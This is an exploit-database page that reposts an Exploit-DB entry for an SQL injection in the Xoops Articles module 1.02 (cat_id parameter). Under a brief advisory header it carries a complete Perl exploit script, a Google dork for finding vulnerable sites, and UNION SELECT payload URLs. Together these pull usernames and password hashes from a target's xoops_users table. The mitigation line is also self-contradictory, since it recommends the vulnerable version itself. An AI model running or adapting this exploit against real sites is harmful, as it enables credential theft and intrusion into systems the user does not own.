Xoops module Articles - exploit.company

vendor:

Xoops module Articles

by:

ajann

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Xoops module Articles

Affected Version From: 01.02

Affected Version To: 01.02

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Xoops module Articles <= 1.02 (index.php cat_id) SQL Injection Exploit

The Xoops module Articles version 1.02 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by injecting malicious SQL queries in the 'cat_id' parameter of the 'index.php' file. This allows the attacker to retrieve sensitive information from the database, such as usernames and passwords of Xoops users.

Mitigation:

Update to a patched version of the Xoops module Articles (version 1.02 or higher).

Source

Exploit-DB raw data:

#!/usr/bin/perl
#[Script Name: Xoops module Articles <= 1.02 (index.php cat_id) SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "inurl:modules/articles/index.php?cat_id="
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey

# PoC : modules/articles/index.php?cat_id=-1%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),4,5,6%20from%20xoops_users%20where%20uid%20like%201/*
# PoC : modules/articles/index.php?cat_id=-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20xoops_users%20where%20uid%20like%201/*

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  Xoops module Articles <= 1.02 (index.php cat_id) SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/articles/index.php?cat_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

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